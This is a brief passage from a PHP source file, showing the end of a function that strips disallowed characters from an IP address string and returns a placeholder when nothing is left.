    }
    $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);
    if (trim($ip) == '') {
        $ip = '.';
    }
    return $ip;
}